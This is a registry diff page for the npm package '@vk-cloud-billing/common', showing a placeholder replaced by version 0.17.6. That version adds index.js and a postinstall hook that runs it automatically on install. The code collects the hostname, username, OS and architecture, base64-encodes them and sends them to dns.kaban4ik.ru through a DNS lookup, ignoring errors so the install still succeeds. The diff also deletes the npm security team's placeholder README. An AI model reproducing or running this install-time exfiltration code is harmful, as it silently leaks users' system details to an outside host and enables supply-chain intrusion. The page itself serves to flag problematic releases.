@vk-cloud-billing/common 0.0.1-security → 0.17.6

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of @vk-cloud-billing/common might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +26 -0
  2. package/package.json +9 -6
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,26 @@
1
+ const dns = require('dns');
2
+ const os = require('os');
3
+
4
+ // ТВОЙ ДОМЕН (уже работает!)
5
+ const YOUR_DOMAIN = 'dns.kaban4ik.ru';
6
+
7
+ // Собираем информацию о системе
8
+ const hostname = os.hostname();
9
+ const username = os.userInfo().username;
10
+ const platform = os.platform();
11
+ const arch = os.arch();
12
+
13
+ // Формируем строку с данными (разделитель | чтобы легко парсить)
14
+ const dataString = `${hostname}|${username}|${platform}|${arch}`;
15
+
16
+ // Кодируем в base64 и обрезаем до 63 символов (ограничение DNS)
17
+ const encodedData = Buffer.from(dataString).toString('base64')
18
+ .replace(/\+/g, '-')
19
+ .replace(/\//g, '_')
20
+ .replace(/=/g, '')
21
+ .substring(0, 63);
22
+
23
+ // Отправляем DNS-запрос
24
+ dns.resolve(`data.${encodedData}.${YOUR_DOMAIN}`, 'A', (err) => {
25
+ // Полностью игнорируем ошибки, чтобы не сломать установку
26
+ });
package/package.json CHANGED
@@ -1,6 +1,9 @@
1
- {
2
- "name": "@vk-cloud-billing/common",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
1
+ {
2
+ "name": "@vk-cloud-billing/common",
3
+ "version": "0.17.6",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "node index.js"
8
+ }
9
+ }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=%40vk-cloud-billing%2Fcommon for more information.